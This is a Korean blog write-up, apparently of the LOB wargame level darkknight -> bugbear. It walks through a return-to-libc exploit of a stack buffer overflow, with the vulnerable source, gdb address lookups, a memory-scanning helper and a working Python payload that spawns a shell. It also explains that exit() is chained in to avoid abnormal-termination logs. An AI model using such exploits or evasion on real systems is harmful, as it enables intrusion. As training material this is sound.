본문 바로가기

Wargame/LOB(끝)

darkknight -> bugbear

RTL.


문제에 스택 자체를 사용하지 못하게 스택 앞 주소인 \xbf 를 아주 막아놓았다.

#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack betrayed you!!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}


따라서 우리는 스택의 실행권한이 없거나, 네트워크 단에서 쉘코드를 막아놓았을 때 쓸 수 있는 RTL 기법을 사용해서 이 문제를 풀 수 있다.


일단 먼저 system 함수의 위치, /bin/sh 의 위치, exit (없어도 됨)의 위치를 찾아야 한다.



Return-to-Libc[SlaxCore].pdf


이 문서를 통해 좀더 자세한 내용을 알 수 있다.


일단 간략하게 스택의 구조를 살펴보면



buffer + sfp + ret 인데, 만약 ret에 특정 함수의 주소가 들어갈 경우


buffer + sfp + &system + sfp + argv(인자) 


이런 모양으로 그려진다.

따라서 만약 ret 자리에 system의 주소를 넣고, 인자 자리에 /bin/sh 의 위치를 넣어준다면 

system("/bin/sh") 형태로 실행되어 지는 것이다.


+++ 메모리에 /bin/sh 라는 문자열이 있는 이유

나도 처음엔 이게 매우 궁금했다. 왜 메모리에 /bin/sh가 있는가

친구한테 들은 이유는 system() 자체가 /bin/sh 를 이용하기 때문에,

함수내의 문자열이 있는거라고 했다.




따라서 payload.py 는 이렇게 구성하였다


from struct import *

import os

p = lambda x:pack("<L", x)



system_addr = p(0x40058ae0)

exit_addr = p(0x400391e0)

binsh_addr = p(0x400fbff9)

TARGET = "../bugbear "



payload=""


payload = TARGET + "\x90"*44 + system_addr + exit_addr + binsh_addr


os.system(payload)




파이썬은 아직 익숙치 않아 고생좀 했다. 좀더 연습이 필요할 것 같다.


system() 과 exit() 함수의 위치는 gdb 를 통해 알아내었다.


[darkknight@localhost asdf]$ gdb -q bugbear 

(gdb) b main

Breakpoint 1 at 0x8048436

(gdb) r 

Starting program: /home/darkknight/asdf/bugbear 


Breakpoint 1, 0x8048436 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) p exit

$2 = {void (int)} 0x400391e0 <exit>

(gdb)




그리고 /bin/sh 의 위치는 c 프로그램으로 알아내었는데,



#include <stdio.h>

#include <stdlib.h>


#define SYSTEM_ADDR 0x40058ae0

#define EXIT_ADDR 0x400391e0


int main(){

char *sysaddr = SYSTEM_ADDR;


for (;;){

if (!(strncmp(sysaddr,"/bin/sh",7))){

printf("%p is SYSTEM_ADDR!\n",SYSTEM_ADDR);

printf("%p is EXIT_ADDR!\n",EXIT_ADDR);

printf("%p is /bin/sh ADDR!!\n");

return 0;

}

sysaddr++;

}

}



으로 알아내었다.




결과---


[darkknight@localhost asdf]$ ls

bugbear  payload.py  searchaddr.c  test.py

[darkknight@localhost asdf]$ python payload.py 

ɀσ@

bash$ Xshell

sh: Xshell: command not found

bash$ id

uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)

bash$ my-pass

euid = 513

new divide

bash$




++++ 페이로드 중간에 exit() 함수의 주소를 넣는 이유

사실 아무 값이나 넣어도 된다. 하지만 정식 주소값이 들어가 있지 않을경우 프로그램이 비정상종료 로 인식되어 로그에 남게된다. 따라서 정상종료 처럼 보이게 하기 위해서 exit() 주소를 넣어주는 것이다.











'Wargame > LOB(끝)' 카테고리의 다른 글

파이썬 버그 0x0f -> 0x00  (0) 2015.03.22
bugbear -> giant  (0) 2015.03.22
공유 라이브러리 하이재킹, 1 byte overwirte 는 건너뜁니다.  (0) 2015.03.20
vampire -> skeleton  (0) 2015.02.02
troll -> vampire  (0) 2015.02.02